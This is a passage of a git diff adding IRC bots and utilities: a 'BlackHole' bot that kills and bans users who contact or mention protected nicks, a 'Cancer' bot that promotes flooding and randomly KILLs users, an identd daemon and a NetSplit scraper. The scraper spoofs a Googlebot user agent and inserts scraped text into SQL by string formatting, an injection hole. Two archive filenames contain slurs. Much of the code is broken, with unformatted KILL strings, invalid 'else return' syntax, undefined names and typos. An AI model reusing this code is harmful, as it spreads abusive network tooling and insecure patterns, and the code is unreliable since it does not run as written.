self.db[cmd].append(option)
|
||||
self.sendmsg(nick, '\x033added')
|
||||
elif change == '-':
|
||||
if option in self.db[cmd]:
|
||||
self.db[cmd].remove(option)
|
||||
self.sendmsg(nick, '\x035removed')
|
||||
elif ident not in self.db['protected_hosts']:
|
||||
self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
||||
|
||||
def handle_events(self, data):
|
||||
args = data.split()
|
||||
if data.startswith('ERROR :Closing Link:'):
|
||||
raise Exception('Connection has closed.')
|
||||
elif args[0] == 'PING':
|
||||
self.raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001':
|
||||
self.event_connect()
|
||||
elif args[1] == 'INVITE' or args[1] == 'NOTICE':
|
||||
nick = args[0].split('!')[0][1:]
|
||||
host = args[0].split('@')[1]
|
||||
self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
||||
elif args[1] == 'KICK' and len(args) >= 4:
|
||||
nick = args[0].split('!')[0][1:].lower()
|
||||
host = args[0].split('@')[1]
|
||||
chan = args[2]
|
||||
kicked = args[3].lower()
|
||||
if kicked == 'blackhole':
|
||||
time.sleep(1)
|
||||
self.raw('JOIN ' + chan)
|
||||
else:
|
||||
for item in self.db['nick']:
|
||||
if kicked == item:
|
||||
self.raw(f'KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
||||
self.mode(chan, '+b *!*@' + host)
|
||||
break
|
||||
elif args[1] == 'PRIVMSG' and len(args) == 4:
|
||||
ident = args[0].split('!')[1].lower()
|
||||
host = args[0].split('@')[1]
|
||||
nick = args[0].split('!')[0][1:].lower()
|
||||
chan = args[2]
|
||||
msg = ' '.join(args[3:])[1:].lower()
|
||||
if '\001' in msg:
|
||||
self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
||||
elif chan == 'blackhole':
|
||||
if ident in self.db['ident'] and msg.startswith('!'):
|
||||
self.raw('KILL {msg[1:]} \x038,4 E N T E R T H E V O I D \x0f')
|
||||
elif ident == admin:
|
||||
self.event_private(ident, nick, msg)
|
||||
else:
|
||||
self.raw('KILL {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
||||
elif host not in self.db['protect']:
|
||||
for item in self.db['nick']:
|
||||
if item in msg:
|
||||
self.raw('KICK {chan} {nick} \x038,4 E N T E R T H E V O I D \x0f')
|
||||
break
|
||||
|
||||
def listen(self):
|
||||
while True:
|
||||
try:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if line):
|
||||
if len(line.split()) >= 2:
|
||||
self.handle_events(line)
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||
pass
|
||||
except:
|
||||
break
|
||||
self.event_disconnect()
|
||||
|
||||
def raw(self, msg):
|
||||
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||||
|
||||
# Main
|
||||
BlackHole = IRC()
|
||||
BlackHole.run()
|
501
irc/cancer.py
Normal file
501
irc/cancer.py
Normal file
@ -0,0 +1,501 @@
|
||||
#!/usr/bin/env python
|
||||
# Cancer IRC Bot - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
'''
|
||||
WARNING: This bot highly encourages flooding!
|
||||
|
||||
Commands:
|
||||
@cancer | Information about the bot.
|
||||
@cancer stats | Return bot statistics for the channel
|
||||
!100 | 1 in 100 chance to get a 100 (big !smoke)
|
||||
!beer [nick] | Grab a beer or toss one to someone.
|
||||
!chainsmoke | Start a game of Chain Smoke
|
||||
!chug | Sip beer
|
||||
!dragrace | Start a game of Drag Race
|
||||
!extendo | 1 in 100 chance to get an EXTENDO (big !toke)
|
||||
!fatfuck | 1 in 100 chance to get a FATFUCK (fat !smoke/!toke)
|
||||
!letschug | LET'S FUCKING CHUG!
|
||||
!letstoke | LET'S FUCKING TOKE!
|
||||
!toke | Hit joint
|
||||
!smoke | Hit cigarette
|
||||
'''
|
||||
|
||||
import os
|
||||
import random
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
|
||||
# Connection
|
||||
server = 'irc.server.com'
|
||||
port = 6697
|
||||
use_ipv6 = False
|
||||
use_ssl = True
|
||||
ssl_verify = False
|
||||
vhost = None
|
||||
channel = '#chats'
|
||||
key = None
|
||||
|
||||
# Certificate
|
||||
cert_key = None
|
||||
cert_file = None
|
||||
cert_pass = None
|
||||
|
||||
# Identity
|
||||
nickname = 'CANCER'
|
||||
username = 'smokesome' # vHost can be CIG@ARETTE or C@NCER for vanity purposes
|
||||
realname = 'acid.vegas/random'
|
||||
|
||||
# Login
|
||||
nickserv_password = None
|
||||
network_password = None
|
||||
operator_password = None
|
||||
|
||||
# Settings
|
||||
user_modes = None
|
||||
|
||||
# Globals (DO NOT EDIT)
|
||||
stat_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'stats.log')
|
||||
|
||||
# Formatting Control Characters / Color Codes
|
||||
bold = '\x02'
|
||||
italic = '\x1D'
|
||||
underline = '\x1F'
|
||||
reverse = '\x16'
|
||||
reset = '\x0f'
|
||||
white = '00'
|
||||
black = '01'
|
||||
blue = '02'
|
||||
green = '03'
|
||||
red = '04'
|
||||
brown = '05'
|
||||
purple = '06'
|
||||
orange = '07'
|
||||
yellow = '08'
|
||||
light_green = '09'
|
||||
cyan = '10'
|
||||
light_cyan = '11'
|
||||
light_blue = '12'
|
||||
pink = '13'
|
||||
grey = '14'
|
||||
light_grey = '15'
|
||||
|
||||
def color(msg, foreground, background=None):
|
||||
return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
|
||||
|
||||
def debug(msg):
|
||||
print(f'{get_time()} | [~] - {msg}')
|
||||
|
||||
def error(msg, reason=None):
|
||||
print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
|
||||
|
||||
def get_time():
|
||||
return time.strftime('%I:%M:%S')
|
||||
|
||||
def luck(odds):
|
||||
return True if random.randint(1,odds) == 1 else False
|
||||
|
||||
def stats(stat_type, stat_action):
|
||||
option = {'chug':0,'smoke':1,'toke':2}
|
||||
if stat_action == 'add':
|
||||
stats = [int(stat) for stat in open(stat_file).read().split().split(':')]
|
||||
with open(stat_file, 'w') as stats_file:
|
||||
stats[option[stat_type]]+=1
|
||||
stats_file.write(':'.join([str(stat) for stat in stats]))
|
||||
elif stat_action == 'get':
|
||||
return int(open(stat_file).read().split(':')[option[stat_type]])
|
||||
|
||||
class IRC(object):
|
||||
def __init__(self):
|
||||
self.chain_smoked = 0
|
||||
self.drag_race_start = 0
|
||||
self.fat = False
|
||||
self.event = None
|
||||
self.nicks = list()
|
||||
self.sock = None
|
||||
self.stats = {'chugged':0,'hits':25,'sips':8,'smoked':0,'toked':0}
|
||||
self.status = True
|
||||
|
||||
def run(self):
|
||||
threading.Thread(target=Games.loop).start()
|
||||
self.connect()
|
||||
|
||||
def connect(self):
|
||||
try:
|
||||
self.create_socket()
|
||||
self.sock.connect((server, port))
|
||||
self.register()
|
||||
except socket.error as ex:
|
||||
error('Failed to connect to IRC server.', ex)
|
||||
Events.disconnect()
|
||||
else:
|
||||
self.listen()
|
||||
|
||||
def create_socket(self):
|
||||
family = socket.AF_INET6 if use_ipv6 else socket.AF_INET
|
||||
self.sock = socket.socket(family, socket.SOCK_STREAM)
|
||||
if vhost:
|
||||
self.sock.bind((vhost, 0))
|
||||
if use_ssl:
|
||||
ctx = ssl.SSLContext()
|
||||
if cert_file:
|
||||
ctx.load_cert_chain(cert_file, cert_key, cert_pass)
|
||||
if ssl_verify:
|
||||
ctx.verify_mode = ssl.CERT_REQUIRED
|
||||
ctx.load_default_certs()
|
||||
else:
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
self.sock = ctx.wrap_socket(self.sock)
|
||||
|
||||
def listen(self):
|
||||
while True:
|
||||
try:
|
||||
data = self.sock.recv(1024).decode('utf-8')
|
||||
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
|
||||
debug(line)
|
||||
Events.handle(line)
|
||||
except (UnicodeDecodeError,UnicodeEncodeError):
|
||||
pass
|
||||
except Exception as ex:
|
||||
error('Unexpected error occured.', ex)
|
||||
break
|
||||
Events.disconnect()
|
||||
|
||||
def register(self):
|
||||
if network_password:
|
||||
Commands.raw('PASS ' + network_password)
|
||||
Commands.raw(f'USER {username} 0 * :{realname}')
|
||||
Commands.raw('NICK ' + nickname)
|
||||
|
||||
class Commands:
|
||||
def action(chan, msg):
|
||||
Commands.sendmsg(chan, f'\x01ACTION {msg}\x01')
|
||||
|
||||
def join_channel(chan, key=None):
|
||||
Commands.raw(f'JOIN {chan} {key}') if key else Commands.raw('JOIN ' + chan)
|
||||
|
||||
def kill(nick, reason):
|
||||
Commands.raw(f'KILL {nick} {reason}')
|
||||
|
||||
def notice(target, msg):
|
||||
Commands.raw(f'NOTICE {target} :{msg}')
|
||||
|
||||
def raw(msg):
|
||||
Bot.sock.send(bytes(msg + '\r\n', 'utf-8'))
|
||||
|
||||
def sendmsg(target, msg):
|
||||
Commands.raw(f'PRIVMSG {target} :{msg}')
|
||||
|
||||
class Events:
|
||||
def connect():
|
||||
if user_modes:
|
||||
Commands.raw(f'MODE {nickname} +{user_modes}')
|
||||
if nickserv_password:
|
||||
Commands.sendmsg('NickServ', f'IDENTIFY {nickname} {nickserv_password}')
|
||||
if operator_password:
|
||||
Commands.raw(f'OPER {username} {operator_password}')
|
||||
Commands.join_channel(channel, key)
|
||||
|
||||
def disconnect():
|
||||
Bot.chain_smoked = 0
|
||||
Bot.drag_race_start = 0
|
||||
Bot.event = None
|
||||
Bot.nicks = list()
|
||||
Bot.status = True
|
||||
Bot.sock.close()
|
||||
time.sleep(10)
|
||||
Bot.connect()
|
||||
|
||||
def message(nick, chan, msg):
|
||||
if Bot.status:
|
||||
args = msg.split()
|
||||
if msg == '@cancer':
|
||||
Commands.sendmsg(chan, bold + 'CANCER IRC Bot - Developed by acidvegas in Python - https://acid.vegas/random')
|
||||
elif msg == '@cancer stats':
|
||||
Commands.sendmsg(chan, 'Chugged : {0} beers {1}'.format(color('{:,}'.format(stats('chug','get')*24), light_blue), color('({:,} cases)'.format(stats('chug','get')), grey)))
|
||||
Commands.sendmsg(chan, 'Smoked : {0} cigarettes {1}'.format(color('{:,}'.format(stats('smoke','get')*20), light_blue), color('({:,} packs)'.format(stats('smoke','get')), grey)))
|
||||
Commands.sendmsg(chan, 'Toked : {0} joints {1}'.format(color('{:,}'.format(stats('toke','get')*3), light_blue), color('({:,} grams)'.format(stats('toke','get')), grey)))
|
||||
elif msg in ('!100','!extendo') and luck(100):
|
||||
Bot.stats['hits'] = 100
|
||||
if msg == '!100':
|
||||
Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', white, red), color('AWWW SHIT, IT\'S TIME FOR THAT NEWPORT 100', red, white), color(' !!! ', white, red)))
|
||||
else:
|
||||
Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('OHHH FUCK, IT\'S TIME FOR THAT 420 EXTENDO', yellow, green), color(' !!! ', red, green)))
|
||||
elif args[0] == '!beer':
|
||||
if len(args) == 1:
|
||||
target = nick
|
||||
elif len(args) == 2:
|
||||
target = args[1]
|
||||
beer = '{0}{1}{2}'.format(color(' ', white, white), color(' BUD ', white, random.choice((blue,brown))), color('c', grey, white))
|
||||
Commands.action(chan, f'throws {color(target, white)} an ice cold {beer} =)')
|
||||
elif msg == '!chainsmoke' and not Bot.event:
|
||||
threading.Thread(target=Games.chain_smoke, args=(chan,)).start()
|
||||
elif msg == '!chug':
|
||||
if Bot.event == 'letschug':
|
||||
if nick in Bot.nicks:
|
||||
Commands.sendmsg(chan, color(nick + ' you are already chuggin u wastoid!', light_green))
|
||||
else:
|
||||
Bot.nicks.append(nick)
|
||||
Commands.sendmsg(chan, color(nick + ' joined the CHUG session!', light_green))
|
||||
else:
|
||||
if Bot.stats['sips'] <= 0:
|
||||
Bot.stats['sips'] = 8
|
||||
Bot.stats['chugged'] += 1
|
||||
if Bot.stats['chugged'] == 24:
|
||||
stats('chug','add')
|
||||
Bot.stats['chugged'] = 0
|
||||
for line in Generate.mug(Bot.stats['sips']):
|
||||
Commands.sendmsg(chan, line)
|
||||
Bot.stats['sips'] -= random.choice((1,2))
|
||||
elif msg == '!dragrace' and not Bot.event:
|
||||
threading.Thread(target=Games.drag_race).start()
|
||||
elif msg == '!fatfuck' and luck(100):
|
||||
Bot.fat = True
|
||||
Commands.sendmsg(chan, '{0}{1}{2}'.format(color(' !!! ', red, green), color('AWWW SHIT, IT\'S TIME FOR THAT MARLBORO FATFUCK', black, green), color(' !!! ', red, green)))
|
||||
elif msg == '!letschug' and not Bot.event:
|
||||
threading.Thread(target=Games.chug, args=(nick,chan)).start()
|
||||
elif msg == '!letstoke' and not Bot.event:
|
||||
threading.Thread(target=Games.toke, args=(nick,chan)).start()
|
||||
elif msg in ('!smoke','!toke'):
|
||||
option = 'smoked' if msg == '!smoke' else 'toked'
|
||||
if msg == '!toke' and Bot.event == 'letstoke':
|
||||
if nick in Bot.nicks:
|
||||
Commands.sendmsg(chan, color(nick + ' you are already toking u stoner!', light_green))
|
||||
else:
|
||||
Bot.nicks.append(nick)
|
||||
Commands.sendmsg(chan, color(nick + ' joined the TOKE session!', light_green))
|
||||
else:
|
||||
if Bot.stats['hits'] <= 0:
|
||||
Bot.stats['hits'] = 25
|
||||
Bot.stats[option] += 1
|
||||
if Bot.fat:
|
||||
Bot.fat = False
|
||||
if Bot.stats[option] == 20:
|
||||
stats(option[:-1],'add')
|
||||
Bot.stats[option] = 0
|
||||
if Bot.event == 'chainsmoke' and msg == '!smoke':
|
||||
Bot.nicks[nick] = Bot.nicks[nick]+1 if nick in Bot.nicks else 1
|
||||
Bot.chain_smoked += 1
|
||||
elif Bot.event == 'dragrace' and msg == '!smoke':
|
||||
Commands.sendmsg(chan, 'It took {0} seconds for {1} to smoke a cigarette!'.format(color('{:.2f}'.format(time.time()-Bot.drag_race_start), light_blue), color(chan, white)))
|
||||
Bot.event = None
|
||||
Bot.drag_race_start = 0
|
||||
elif luck(25):
|
||||
Commands.kill(nick, f'CANCER KILLED {nick.upper()} - QUIT SMOKING TODAY! +1 800-QUIT-NOW')
|
||||
else:
|
||||
object = Generate.cigarette(Bot.stats['hits']) if msg == '!smoke' else Generate.joint(Bot.stats['hits'])
|
||||
cigarette = Generate.cigarette(Bot.stats['hits'])
|
||||
if Bot.fat:
|
||||
Commands.sendmsg(chan, object)
|
||||
Commands.sendmsg(chan, object)
|
||||
Commands.sendmsg(chan, object)
|
||||
else:
|
||||
Commands.sendmsg(chan, object)
|
||||
Bot.stats['hits'] -= random.choice((1,2))
|
||||
|
||||
def handle(data):
|
||||
args = data.split()
|
||||
if data.startswith('ERROR :Closing Link:'):
|
||||
raise Exception('Connection has closed.')
|
||||
elif args[0] == 'PING':
|
||||
Commands.raw('PONG ' + args[1][1:])
|
||||
elif args[1] == '001':
|
||||
Events.connect()
|
||||
elif args[1] == '433':
|
||||
error('The bot is already running or nick is in use.')
|
||||
elif args[1] == 'INVITE' and len(args) == 4:
|
||||
invited = args[2]
|
||||
chan = args[3][1:]
|
||||
if invited == nickname and chan == channel:
|
||||
Commands.join_channel(channel, key)
|
||||
elif args[1] == 'KICK' and len(args) >= 4:
|
||||
chan = args[2]
|
||||
kicked = args[3]
|
||||
if kicked == nickname and chan == channel:
|
||||
time.sleep(3)
|
||||
Commands.join_channel(channel, key)
|
||||
elif args[1] == 'PART' and len(args) >= 3:
|
||||
chan = args[2]
|
||||
if chan == channel:
|
||||
nick = args[0].split('!')[0][1:]
|
||||
Commands.action(nick, f'blows smoke in {nick}\'s face...')
|
||||
elif args[1] == 'PRIVMSG' and len(args) >= 4:
|
||||
nick = args[0].split('!')[0][1:]
|
||||
chan = args[2]
|
||||
msg = data.split(f'{args[0]} PRIVMSG {chan} :')[1]
|
||||
if chan == channel:
|
||||
Events.message(nick, chan, msg)
|
||||
|
||||
class Games:
|
||||
def chain_smoke(chan):
|
||||
Bot.event = 'chainsmoke'
|
||||
Bot.status = False
|
||||
Bot.nicks = dict()
|
||||
try:
|
||||
Commands.notice(chan, 'Starting a round of {0} in {1} seconds!'.format(color('ChainSmoke', red), color('10', white)))
|
||||
Commands.notice(chan, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. Once you finish a cigarette, a new one will be lit for you. You will have 60 seconds to chain smoke as many cigarettes as possible.', yellow)))
|
||||
time.sleep(10)
|
||||
Commands.action(chan, 'Round starts in 3...')
|
||||
time.sleep(1)
|
||||
Commands.action(chan, '2...')
|
||||
time.sleep(1)
|
||||
Commands.action(chan, '1...')
|
||||
time.sleep(1)
|
||||
Commands.action(chan, color('GO', light_green))
|
||||
Bot.status = True
|
||||
time.sleep(60)
|
||||
Bot.status = False
|
||||
Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(chan, color(' CHAINSMOKE ROUND IS OVER ', red, yellow))
|
||||
Commands.sendmsg(chan, color('Counting cigarette butts...', yellow))
|
||||
time.sleep(10)
|
||||
Commands.sendmsg(chan, '{0} smoked {1} cigarettes!'.format(chan, color(str(Bot.chain_smoked), light_blue)))
|
||||
if Bot.nicks:
|
||||
guy = max(Bot.nicks, key=Bot.nicks.get)
|
||||
Commands.sendmsg(chan, '{0} smoked the most cigarettes... {1}'.format(guy, Bot.nicks[guy]))
|
||||
except Exception as ex:
|
||||
error('Error occured in chain smoke event!', ex)
|
||||
finally:
|
||||
Bot.chain_smoked = 0
|
||||
Bot.nicks = list()
|
||||
Bot.event = None
|
||||
Bot.status = True
|
||||
|
||||
def chug(nick, chan):
|
||||
Bot.event = 'letschug'
|
||||
Bot.nicks.append(nick)
|
||||
try:
|
||||
Commands.sendmsg(chan, color(f'OH SHIT {nick} is drunk', light_green))
|
||||
Commands.notice(chan, color(f'Time to TOTALLY CHUG in {chan.upper()} in 30 seconds, type !chug to join', light_green))
|
||||
time.sleep(10)
|
||||
Commands.sendmsg(chan, color('LOL we CHUG in 20 get ready ' + ' '.join(Bot.nicks), light_green))
|
||||
time.sleep(10)
|
||||
Commands.sendmsg(chan, color('YO we CHUG in 10 get ready ' + ' '.join(Bot.nicks), light_green))
|
||||
time.sleep(5)
|
||||
Commands.sendmsg(chan, color('alright CHUG in 5', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(chan, color('4..', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(chan, color('3..', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(chan, color('2..', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(chan, color('1..', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(chan, color(' '.join(Bot.nicks) + ' .. CHUG!', light_green))
|
||||
except Exception as ex:
|
||||
error('Error occured in chug event!', ex)
|
||||
finally:
|
||||
Bot.event = None
|
||||
Bot.nicks = list()
|
||||
|
||||
def drag_race():
|
||||
Bot.event = 'dragrace'
|
||||
Bot.status = False
|
||||
Bot.hits = 25
|
||||
try:
|
||||
Commands.notice(channel, 'Starting a round of {0} in {1} seconds!'.format(color('DragRace', red), color('10', white)))
|
||||
Commands.notice(channel, '[{0}] {1} {2} {3}'.format(color('How To Play', light_blue), color('Type', yellow), color('!smoke', light_green), color('to hit a cigarette. The cigarette goes down a little after each hit. You will have 10 seconds to smoke as quickly as possible.', yellow)))
|
||||
time.sleep(10)
|
||||
Commands.action(channel, 'Round starts in 3...')
|
||||
time.sleep(1)
|
||||
Commands.action(channel, '2...')
|
||||
time.sleep(1)
|
||||
Commands.action(channel, '1...')
|
||||
time.sleep(1)
|
||||
Commands.action(channel, color('GO', light_green))
|
||||
Bot.drag_race_start = time.time()
|
||||
except Exception as ex:
|
||||
error('Error occured in the drag race event!', ex)
|
||||
finally:
|
||||
Bot.status = True
|
||||
|
||||
def loop():
|
||||
while True:
|
||||
if get_time()[:-3] == '04:20':
|
||||
try:
|
||||
Commands.sendmsg(channel, color('S M O K E W E E D E R R D A Y', light_green))
|
||||
Commands.sendmsg(channel, color('ITZ DAT MUTHA FUCKN 420 BITCH', yellow))
|
||||
Commands.sendmsg(channel, color('LIGHT UP A NICE GOOD FAT FUCK', red))
|
||||
time.sleep(43000)
|
||||
except Exeption as ex:
|
||||
error('Error occured in loop!', ex)
|
||||
else:
|
||||
time.sleep(30)
|
||||
|
||||
def toke(nick, chan):
|
||||
Bot.event = 'letstoke'
|
||||
Bot.nicks.append(nick)
|
||||
try:
|
||||
Commands.sendmsg(channel, color(f'YO {nick} is high', light_green))
|
||||
Commands.notice(channel, color(f'Time to FUCKING toke in {chan.upper()}, type !toke to join', light_green))
|
||||
time.sleep(10)
|
||||
Commands.sendmsg(channel, color('OH SHIT we toke in 20 get ready ' + ' '.join(Bot.nicks), light_green))
|
||||
time.sleep(10)
|
||||
Commands.sendmsg(channel, color('OH SHIT we toke in 10 get ready ' + ' '.join(Bot.nicks), light_green))
|
||||
time.sleep(5)
|
||||
Commands.sendmsg(channel, color('alright toke in 5', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(channel, color('4..', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(channel, color('3..', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(channel, color('2..', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(channel, color('1..', light_green))
|
||||
time.sleep(1)
|
||||
Commands.sendmsg(channel, color(' '.join(Bot.nicks) + ' .. toke!', light_green))
|
||||
except Exception as ex:
|
||||
error('Error occured in toke event!', ex)
|
||||
finally:
|
||||
Bot.event = None
|
||||
Bot.nicks = list()
|
||||
|
||||
class Generate:
|
||||
def beer():
|
||||
glass = color(' ', light_grey, light_grey)
|
||||
return glass + color(''.join(random.choice((' :.')) for _ in range(9)), orange, yellow) + glass
|
||||
|
||||
def cigarette(size):
|
||||
filter = color(';.`-,:.`;', yellow, orange)
|
||||
cigarette = color('|'*size, light_grey, white)
|
||||
cherry_a = color(random.choice(('@#&')), random.choice((red,yellow)), grey)
|
||||
cherry_b = color(random.choice(('@#&')), random.choice((red,yellow)), grey)
|
||||
smoke = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey)
|
||||
return filter + cigarette + cherry_a + cherry_b + smoke
|
||||
|
||||
def joint(size):
|
||||
joint = color('/'*size, light_grey, white)
|
||||
cherry_a = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey)
|
||||
cherry_b = color(random.choice(('@#&')), random.choice((green,red,yellow)), grey)
|
||||
smoke = color('-' + ''.join(random.choice((';:-.,_`~\'')) for _ in range(random.randint(5,8))), grey)
|
||||
return joint + cherry_a + cherry_b + smoke
|
||||
|
||||
def mug(size):
|
||||
glass = color(' ', light_grey, light_grey)
|
||||
empty = f'{glass} {glass}'
|
||||
foam = glass + color(':::::::::', light_grey, white) + glass
|
||||
bottom = color(' ', light_grey, light_grey)
|
||||
mug = [foam,Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer(),Generate.beer()]
|
||||
for i in range(8-size):
|
||||
mug.pop()
|
||||
mug.insert(0, empty)
|
||||
for i in range(len(mug)):
|
||||
if i == 2 or i == 7:
|
||||
mug[i] += glass + glass
|
||||
elif i > 2 and i < 7:
|
||||
mug[i] += ' ' + glass
|
||||
mug.append(bottom)
|
||||
return mug
|
||||
|
||||
# Main
|
||||
if use_ssl:
|
||||
import ssl
|
||||
if not os.path.isfile(stat_file):
|
||||
open(stat_file, 'w').write('0:0:0')
|
||||
Bot = IRC()
|
||||
Bot.run()
|
BIN
irc/gaymircd.tar.gz
Normal file
BIN
irc/gaymircd.tar.gz
Normal file
Binary file not shown.
62
irc/identd.py
Normal file
62
irc/identd.py
Normal file
@ -0,0 +1,62 @@
|
||||
#!/usr/bin/env python
|
||||
# Ident Protocol Daemon - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
import os, re, socket, time
|
||||
|
||||
def check_privledges():
|
||||
return True if os.getuid() == 0 or os.geteuid() == 0 else return False
|
||||
|
||||
def debug(msg):
|
||||
print(f'{get_time()} {msg}')
|
||||
|
||||
def get_time():
|
||||
return time.strftime('%I:%M:%S')
|
||||
|
||||
def is_valid_port(port):
|
||||
return True if port > 0 and port <= 65535 else return False
|
||||
|
||||
class server(object):
|
||||
def __init__(self, ipv6=False):
|
||||
self.ipv6 = ipv6
|
||||
self.sock = None
|
||||
|
||||
def _create_socket(self):
|
||||
if self.ipv6:
|
||||
self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
|
||||
self.sock.bind(('::', 113))
|
||||
else:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.bind(('0.0.0.0', 113))
|
||||
sock.listen(5)
|
||||
|
||||
def _drop_privledges(self):
|
||||
os.setgroups([])
|
||||
os.setgid(pwd.getpwnam('nobody').pw_gid)
|
||||
os.setuid(pwd.getpwnam('nobody').pw_uid)
|
||||
|
||||
def _start(self):
|
||||
self._create_socket()
|
||||
if check_privledges():
|
||||
self._drop_privledges()
|
||||
self._listen()
|
||||
|
||||
def _listen(self):
|
||||
while True:
|
||||
client, addr = sock.accept()
|
||||
data = client.recv(1024).decode('ascii').rstrip()
|
||||
source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0]
|
||||
debug(f'[REQUEST] {source_ip}: {data}')
|
||||
response = self._parse_data(data)
|
||||
client.send(f'{response}\r\n'.encode('ascii'))
|
||||
debug(f'[ REPLY ] {source_ip}: {response}')
|
||||
client.close()
|
||||
|
||||
def _parse_data(self, data):
|
||||
if not re.match(r'(\d+).*,.*(\d+)', data):
|
||||
return data + ' : ERROR : INVALID-PORT'
|
||||
lport, rport = data.split(',')
|
||||
lport = int(re.sub(r'\D', '', lport))
|
||||
rport = int(re.sub(r'\D', '', rport))
|
||||
if not is_valid_port(lport) or not is_valid_port(rport):
|
||||
return data + ' : ERROR : INVALID-PORT'
|
||||
return data + ' : USERID : UNIX : ' + username # RANDOM?
|
64
irc/netsplit.py
Normal file
64
irc/netsplit.py
Normal file
@ -0,0 +1,64 @@
|
||||
#!/usr/bin/env python
|
||||
# NetSplit Parser - Developed by acidvegas in Python (https://acid.vegas/random)
|
||||
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
import time
|
||||
import urllib.request
|
||||
|
||||
# Settings
|
||||
throttle = 3
|
||||
|
||||
# Globals
|
||||
db_file = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'netsplit.db')
|
||||
db = sqlite3.connect(db_file)
|
||||
sql = db.cursor()
|
||||
|
||||
def db_add(name, address, port, ssl):
|
||||
sql.execute('INSERT INTO SERVERS (NAME,ADDRESS,PORT,SSL) VALUES (\'{0}\', \'{1}\', \'{2}\', \'{3}\')'.format(name, address, port, ssl))
|
||||
db.commit()
|
||||
|
||||
def db_setup():
|
||||
tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall()
|
||||
if len(tables):
|
||||
sql.execute('DROP TABLE SERVERS')
|
||||
sql.execute('CREATE TABLE SERVERS (NAME TEXT NOT NULL, ADDRESS TEXT NOT NULL, PORT INTEGER NOT NULL, SSL INTEGER NOT NULL);')
|
||||
db.commit()
|
||||
|
||||
def get_source(url):
|
||||
req = urllib.request.Request(url)
|
||||
req.add_header('User-Agent', 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
|
||||
source = urllib.request.urlopen(req, timeout=15)
|
||||
charset = source.headers.get_content_charset()
|
||||
if charset:
|
||||
return source.read().decode(charset)
|
||||
else:
|
||||
return source.read().decode()
|
||||
|
||||
db_setup()
|
||||
source = get_source('http://irc.netsplit.de/networks/')
|
||||
networks = re.findall('<a class=".*?" href="/networks/(.*?)/"', source, re.IGNORECASE|re.MULTILINE)
|
||||
print(f'[~] - Found {len(networks)} networks on NetSplit.')
|
||||
for network in networks:
|
||||
source = get_source('http://irc.netsplit.de/networks/status.php?net=' + network)
|
||||
source = source.replace('style=\'color:#666666;\'', '')
|
||||
source = source.replace('​', '')
|
||||
while ' ' in source:
|
||||
source = source.replace(' ', ' ')
|
||||
checker = re.findall('<td valign="top">.*?<br>((.*?))</td>', source, re.IGNORECASE|re.MULTILINE)
|
||||
if checker:
|
||||
servers = re.findall(r'<td valign="top">(.*?)<br>.*?</td><td align=\'center\' valign=\'top\'>(.*?)</td>', source, re.IGNORECASE|re.MULTILINE)
|
||||
else:
|
||||
servers = re.findall(r'<td valign="top">(.*?)</td><td align=\'center\' valign=\'top\'>(.*?)</td>', source, re.IGNORECASE|re.MULTILINE)
|
||||
servers = list(set(servers))
|
||||
for server in servers:
|
||||
address = server[0].split(':')[0]
|
||||
port = int(server[0].split(':')[1])
|
||||
if server[1] == 'off':
|
||||
ssl = 0
|
||||
else:
|
||||
ssl = 1
|
||||
db_add(network, address, port, ssl)
|
||||
print('{0}{1}:{2}'.format(network.ljust(30), address, port))
|
||||
time.sleep(throttle)
|
BIN
irc/nigircd.tar.gz
Normal file
BIN
irc/nigircd.tar.gz
Normal file
Binary file not shown.
26
irc/unicode.msl
Normal file
26
irc/unicode.msl
Normal file
@ -0,0 +1,26 @@
|
||||
alias UTF81 {
|
||||
if ($1 < 161) { return $chr($1) }
|
||||
